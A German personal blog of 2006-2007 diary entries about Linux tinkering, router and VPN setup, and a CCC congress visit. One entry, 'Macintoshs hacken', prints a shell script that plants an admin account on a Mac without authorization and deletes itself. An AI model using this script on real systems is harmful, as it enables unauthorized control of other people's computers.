Das war ein angenehmes langes Wochenende. Ich war Samstag, Montag und Dienstag in der Buchte, um den ersten Mai vorzubereiten und durchzuziehen. Wieder einmal zeigte sich, dass freie Projekte eigentlich nicht funktionieren können, weil alle nur nutzen wollen und nicht dazu beitragen. Das kann man analog auf den CCC, auf Quasar-Net und auf (fast) jedes andere Projekt dieser Art anwenden. Wie oft musste ich (oder equinox oder sonstwer) mir schon anhören “Eh du, das funktioniert nicht. Mach mal!”, anstatt das sich die Leute selbst drum kümmern. Wenn jeder das umsetzt, was er haben möchte, haben nicht nur die Leute weniger Stress, die sich global um die Projekte kümmern (als eine Art Koordination), sondern das Netz (oder halt Jugendhäuser oder vieles andere) glänzt durch Vielfalt.

Reverse Telefonnummer

tagebuch - Fri, 11 May 2007 07:47:00 +0200

Ein wunderbares PHP-Programm, um den Namen zu einer Telefonnummer herauszufinden. Gespeichert als lookuptel, aufzurufen als ./lookuptel <Telefonnummer-mit-Vorwahl>.
Gleich mit dabei die neue Version der Funktion extractstring.

<?php
function extractstring($str, $start, $end) {
$str_low = strtolower($str);
$pos_start = strpos($str_low, $start);
$pos_end = strpos($str_low, $end, ($pos_start + strlen($start)));
if ( ($pos_start !== false) &amp;&amp; ($pos_end !== false) )
{
$pos1 = $pos_start + strlen($start);
$pos2 = $pos_end - $pos1;
return substr($str, $pos1, $pos2);
}
}
$input = @file_get_contents("http://www1.dasoertliche.de/?form_name=search_inv&amp;ph=" . $argv[1]);
$input = extractstring($input, 'class="entry">', '</a>');
echo $input . "\n";
?>

Harvester und Planeten

tagebuch - Mon, 16 Apr 2007 20:14:00 +0200

Nachdem ich am Wochenende einen wunderschönen Planeten aufgesetzt habe, habe ich mich kurze Zeit schon in etwas neues verliebt: Den Harvester von Astro. Da dieser leider primär für Postgres entwickelt wurde und ich nicht so fit in SQL-Syntax bin, musste ich bis heute warten, wo ich dann einen Patch geschickt bekam, der die db.sql anpasste. Damit rennts nun. Ich hab auch gleich das Design vom Planet Helzilla angepasst. Die ganze Geschichte ist nun (mit der Harvester Software) unter http://planet.helzilla.de/ erreichbar.

Last.fm und anderes Unkraut

tagebuch - Mon, 16 Apr 2007 07:12:00 +0200

Gestern wollte ich dann die Last.fm Streams über unseren Musik-PC Nora abspielen, der im Keller steht, mit einem 5m Cinch-Klinke Kabel mit unserer Wohnzimmeranlage verbunden ist und über ESD und MPD auf Musik, bzw. Musikwünsche lauscht. Der Last.fm Client (der offizielle) lässt sich leider nicht von esddsp beirren, da er direkt per ALSA kommuniziert. So fiel der dann raus. Ich hab dann noch ein paar inoffizielle probiert. Ohne Erfolg. Doch ausgerechnet der KDE-Player amarok kann Dank der Xine-Engine ESD Output produzieren. Nur fehlte in dem Optionsdialog das Feld für Remote Host. So hab ich mir flugs ein Script “produziert”, in dem ich einfach die ESPEAKER Variable mit den “Nora-Daten” füllte. Und genau über eben diese Anordnung von komischen PC’s höre ich gerade in einer für 08:05 (am oder pm? Ich glaub das ist jetzt am, oder? Korrekturen bitte per Comment) unangemeßenen Lautstärke.

Dank des Abonements der CCCHB-Liste hab ich noch Beschäftigung für Freitag für Software sowie Politik-Interessierte: Das Tux Kinderfest 2007.
Hier ein kurzer Auszug aus der Webseite (http://www.gruene-neustadt.de/index.php/Tux_Kinderfest_2007)

Liebe Kinder, Liebe Eltern,
am 20. April findet unser Tux Kinderfest 2007 ab 14 Uhr am Weserstrand neben dem Cafe Sand (Karte) statt. Tux ist ein Pinguin, Weltstar und Maskotchen des freien Betriebssystems Linux.
Auf unserem Kinderfest wollen wir Kindern die Möglichkeit geben, mit Open-Source-Software zu experimentieren. Gleichzeitig gibt es auf unserer Hüpfburg Platz zum Toben und die Möglichkeit, an einem Trommelworkshop mit der GRüNEN Jugend Bremen teilzunehmen.

Ab 16 Uhr diskutieren der Vorsitzende der GRüNEN Bundestagsfraktion, Fritz Kuhn, die bildungspolitische Sprecherin der GRüNEN Bürgerschaftsfraktion, Anja Stahmann und der Geschäftsführer der Bremer Softwarefirma Univention, Peter Ganten über folgende Fragen: Warum ist es sinnvoll, Kinder und Jugendliche bereits früh an Naturwissenschaft und Technik heranzuführen? Wie können in Deutschland Innovationen entstehen? Warum ist freier Wissensaustausch für Innovationen notwendig, wie kann er realisiert werden und wo liegen seine Grenzen?

Auch das regelmäßige Lesen des Harvester (sowas wie der Planet) von Astro lohnt sich.
So fand ich hier einen Nachbericht der Datenschutz Demo in Frankfurt zu der ich mangels Transportwesens nicht fahren konnte.
Ich wurde auf jeden Fall auf dieses Blog aufmerksam, in dem steht:
Gestern in Frankfurt, zu nerdfreundlicher Zeit um 15 Uhr, ging’s los.
1000 bis 2000 Menschen (je nachdem ob man Veranstalter oder Polizei fragt). Der Optimist würde wohl sagen, angesichts der allgemeinen Ignoranz gegenüber dem Thema, insbesondere auch in linken Kreisen, immerhin etwas, der Pessimist dass es angesichts der Dringlichkeit der angesprochenen Themen viel zu wenige sind. Ich positionier mich mal irgendwo dazwischen ;-)
Weitere Aktivitäten beim AK Vorratsdatenspeicherung, und die Demo hat’s immerhin auf die Webseite der tagesschau geschafft.

Ein kleiner Schritt für einen Menschen, ein großer für die Menschheit

tagebuch - Sun, 15 Apr 2007 15:16:00 +0200

Weil ich das schon lange mal wollte, hab ich gestern einen Planet aufgesetzt. Zu erreichen ist dieser unter http://planet.helzilla.de/.

Linux skills

tagebuch - Sun, 15 Apr 2007 09:56:00 +0200

Heute morgen konnte ich dann auch Cathy vom Sinn von last.fm überzeugen, nachdem ich mir (endlich mal) den offiziellen last.fm Client für Mac OS X installiert habe und festgestellt habe, dass man damit eigentlich ganz nett Radio hören kann. Nun hat Cathy ja Ubuntu und auf der Seite wird ein deb angeboten. Flink gesaugt und mit dpkg -i installiert. Und, obwohl das deb nur ohne Soundausgabe unter debian lief, funktioniert es unter Ubuntu bestens. Man muss nur einige Qt Libs nachinstallieren. Aber dafür gibts ja apt-get -f install :).

Cups Upgrade (Etch)

tagebuch - Mon, 09 Apr 2007 22:23:00 +0200

Nach des Upgrades auf Etch von uni5 gestern, wollte ich nun heute Abend meine Psychologiehausaufgaben ausdrucken. Doch was ist: Nix drucken. Also hab ich erstmal in der cupsd.conf das LogLevel auf debug umgestellt und versucht den Drucker zu löschen und neu hinzuzufügen. Dabei fiel mir die erste “Neuerung” auf: Das Webinterface ist nur noch von localhost und per HTTPS zu erreichen. Das mit dem localhost war schnell korrigiert, doch das HTTPS-”Feature” meldete sich mit einem “Generating SSL server key…” in der Logdatei und tat dann gar nix mehr. Die Lösung fand sich auf http://www.burtonini.com/blog/computers/cups-2006-08-14-18-00.
Also hab ich ein paar mal updatedb und find / laufen gelassen und ich hatte ein SSL-Zertifikat und es ging.
Aber mal im Ernst: Welche Software braucht einen Festplattenscan, um es benutzen zu können?

Uralter Zettel, den ich g...

tagebuch - Mon, 09 Apr 2007 21:33:00 +0200

Uralter Zettel, den ich gefunden hab.
Darauf steht, was ich brauche um einen Kreis in sechs Teile zu teilen.

– Türschild
– 2x IKEA Bleistifte
– 1x Geodreieck
– 1x Radiergummi
– 1x TI92+ Grafikrechner
– 1x Blumentopf
– viel Hirnschmalz

Wieder mal ‘nen Tag verschenkt

tagebuch - Thu, 05 Apr 2007 21:48:00 +0200

So heute relativ spät aufgestanden und den Vormittag (das was davon übrig war) am PC verdaddelt. Dann die gloreiche Idee gehabt die Geschichte mit Mama’s Router heute in die Hand zu nehmen (Was man gemacht hat, muss man nicht mehr machen). Sie hatte seit ich ausgezogen bin und ihr Router dann auch noch den Geist aufgegeben hatte, halt keinen mehr. Also bin ich zu K und M gefahren und hab den Linksys WRT54GL gekauft, weil darauf OpenWRT laufen kann (http://openwrt.org). Ein alternatives Betriebssystem für den Router, welches auf Linux basiert. Ich plane schon seit ich ausgezogen bin die Vernetzung von ihr und mir über ein VPN, weil ich ihr dann bei ihren Webseiten helfen kann und sie an meine Daten kommt (und wenn ich mal krank bin und bei ihr bin, kann ich auch “nach Hause telefonieren”). Also DD-WRT drauf (damit betreibe ich auch schon einen Linksys WRT54G v5 bei mir zu Hause). Den Rest des Tages habe ich dann damit verbracht auf dem WRT einen OpenVPN Client im P2P Modus zu betreiben und dafür zu sorgen, dass dieser automatisch startet und meine Pakete durchlässt. Gegen neun war ich daheim und völlig geschafft. Dafür kann churro (Mama’s WRT) nun mit meinem ganzen Netz reden und andersrum.

Macintoshs hacken

tagebuch - Mon, 26 Feb 2007 20:57:00 +0100

Bei dem Versuch einen Adminaccount auf einem PC hust anzulegen ohne entsprechende Rechte zu haben, ermittelten wir folgenden Code. Er legt einen Account auf dem Mac an und stattet diesen mit Adminrechten aus. Nach dem Anmelden sollte man seinem User jedoch ein Passwort geben.

mount -uw /
/sbin/SystemStarter
sh /etc/rc
sleep 60
echo 'fritz::556:556::0:0:Fritz:/Users/fritz:/bin/bash' | niload -v passwd /
echo 'fritz:*:556: fritz' | niload -v group /
niutil -appendprop / /groups/admin users fritz
nohup bash -c "sleep 1;rm $0;reboot" > /dev/null

In Berlin, Weihnachten und der CCC im BCC

tagebuch - Thu, 28 Dec 2006 22:35:00 +0100

Erstmal Hallo!, wer auch immer zuhören mag.
Ich bin in Berlin. Genauer gesagt bin ich in Berlin seit dem 22.12.2006 irgendwann abends. Ich bin dann also nach einer eigentlich recht angenehmen und problemlosen Fahrt mit der deutschen Bahn (was zu Weihnachten eher selten der Fall ist) mit meiner Mama und meiner Cathy und einer kurzen Fahrt mit S- und U-Bahn bei meiner Oma aufgeschlagen. Am 23.12. waren wir dann Weihnachtsgeschenke kaufen. Das heisst im Klartext, dass wir in das jedes Jahr gleiche Einkaufszentrum gehen und dort versuchen in möglichst wenig Zeit und mit möglichst wenig Aufwand und Geld die Weihnachtsgeschenke für meine Familie zusammenzubekommen. Das gelang eigentlich auch, dank der guten Vorarbeit Cathys sehr gut. Am 24. wurde dann beschert und gegessen. Am 25. Romme gespielt, gegessen und ein Weihnachtsmarkt besucht. Am 26. waren wir auf zwei Weihnachtsmärkten und ich wollte eigentlich danach noch mein CCC-Dauerticket holen, habe das dann aber aufgrund einer halben Stunde wartens bleibengelassen und so fuhren wir nach Hause (zu Omi) und haben gegessen. Am 27. habe ich dann Cathy und Mama zum Ostbahnhof gebracht, mich ein wenig mit meiner Mama gestritten und bin dann direkt zum BCC am Alexanderplatz gefahren. Die Karte (bzw. das Armband) zu bekommen war kein Problem; ich war Nummer zwei in der Schlange. Ein Dauerticket für mich war eine gute Idee, wie sich rausstellen sollte, denn die Schlangen wurden nur noch länger. Ich dann also rein und erstmal durch die drei Ebenen gekämpft; was die da so alles haben. Da gab es den CACert-Stand, die Freifunkler, eine Lötstation, zwei Button- und Wearläden, das NOC, das POC und natürlich das Hackcenter. Noch wusste ich nicht, dass ich mich hier am meisten aufhalten werde. Ich dann also auf eins der freien Sofas, Notebook raus und WLAN-Suche gestartet. Okay, kein Problem: Viele Netze. Ich dann also in das DHCP-Netz rein und schwupps IP bekommen. Gut. Schemen-Eintrag in die interfaces, pump Man-Page, gut. Fertig. Wegen der empfohlenen Sicherheit OpenVPN Tunnel als Standard Gateway konfiguriert, Notebook geht aus. Was war passiert? Der Akku leer. Hm. Umgeschaut: Ein Platz neben einem jungen Mann, der an einem MacMini sitzt und einen Flachmonitor (TFT) vor sich stehen hat. Ich also hin: “Sorry, is hier noch frei?” “Eigentlich nicht, aber der Typ war schon ewig nicht mehr da. Also setz dich. Mit Netz is aber nix. Es sei denn du hast WLAN.” Ich setz mich also hin und pack’s Notebook aus. Ich hatte Netz. Vorerst. Der Switch wurde dann irgendwann ausgetauscht. WLAN fiel hin und wieder aus. Wir nerdeten so vor uns hin und ich lernte noch zwei junge Männer kennen, die wohl von weiter angereist waren. Einer mit iBook und einer mitm “normalen” Notebook. Mit ihnen würde ich noch was zu tun haben; das wusste ich natürlich noch nicht. Dann irgendwann habe ich mir noch einen Aufkleber mit dem Pesthörnchen gekauft und war dann leider aufgrund des plötzlichen Todes meiner WLAN-Karte gezwungen mir Ersatz zu beschaffen. Naja, ein Saturn war gleich gegenüber. Wie das so ist, will die erste Karte ja nie. Also Umtausch und eine neue; die ging. Damit ging dann auch das WLAN, was ich bei meiner Oma gefunden hatte einwandfrei und man war auch länger am Stück online. Bei Oma wieder zu Hause gab es erstmal Miracoli mit Käse-Sahne-Sauce und ich richtete IP over DNS und OpenVPN auf das nun ohne Probleme verfügbare WLAN aus; sonst wäre alle 30min Werbung gekommen… Am zweiten Tag so gegen 11 aufgestanden und dann irgendwann los. Es sollte ein Tag voll Pech werden… Am U-Bahnhof erstmal kein Automat verfügbar. Ich also in die U-Bahn und dann an der nächsten Haltstelle in Rekordzeit ein Ticket gelöst und wieder in die U-Bahn gehüpft. Im BCC war mein Platz im Hackcenter schon besetzt, aber links neben meinem gestrigen Sitzpartner war noch was frei. Ich also hin und Congress-WLAN angemacht, mich ein bisschen mit meinem (nun) rechten Sitzpartner unterhalten. Irgendwann Gaim angemacht und mich (dooferweise) mit meiner besten Freundin gestritten… Naja, weiter im Text… Irgendwann tauchte ein Typ auf und baute vor sich ein Teil auf, was aussah, wie ein Palmtop, der auf der Seite liegt. Er schloss eine USB-Tastatur, Netzwerk und eine Maus an und bootete ein Linux. Das erregte ein wenig Aufsehen und so bekam ich durch Aufschnappen mit, dass dies ein Gerät sei, das von Werke aus mit Windows XP ausgeliefert würde und wo nun ein Ubuntu drauf laufen würde. Das Touchpad würde (noch, aber das wissen wir nicht) nicht gehen, aber er würde daran arbeiten, es würde nur am Kernel haken. Irgendwann tauchte dann so ein Typ, den ich auf dem GSV-Infotag in Bremen kennengelernt hatte, auf. Wir probierten kurz seine etwas vermurckste WLAN-Hardware zum Laufen zu bringen, gaben dann jedoch auf und lösten die Problematik mithilfe eines LAN-Kabels. Mit einem der von weiter angereisten Typen löste ich dann das Kernel Problem des netten Mannes mit dem “schiefen Palm”. Mit meinem Mac-Mini-Nachbarn tauschte ich mich dann irgendwann noch über Linuxgames aus und wir schimpften am Tisch auf die Kiddies, die unbedingt das CCC-Netz lahmlegen wollten. Dann irgendwann zu Oma und Baguette’s gegessen. Nun bastel ich noch ein wenig und lese Perry Rhodan. Dann geh ich schlafen. Morgen ist nochmal Congress und Samstag sehe ich meine Kleine wieder :).

Also: Schlaft alle schön! Ich liebe dich, Cathy. Alex, ich hab dich lieb! Und ich vermisse euch!
An den Typen, der mir vorhin Espresso überlassen hat: Dank dir, wer auch immer du warst!

Was mir noch einfällt: Als ich vorhin im Hackcenter saß, kam ein Typ rein, stellte sich an unseren Tisch und verkündete “Es schneit.” Daraufhin guckte jemand anders hoch, drehte seinen Kopf in alle Richtungen und meinte “Wo?”. Der andere: “Draussen!” “Was interessiert mich draussen” und machte weiter.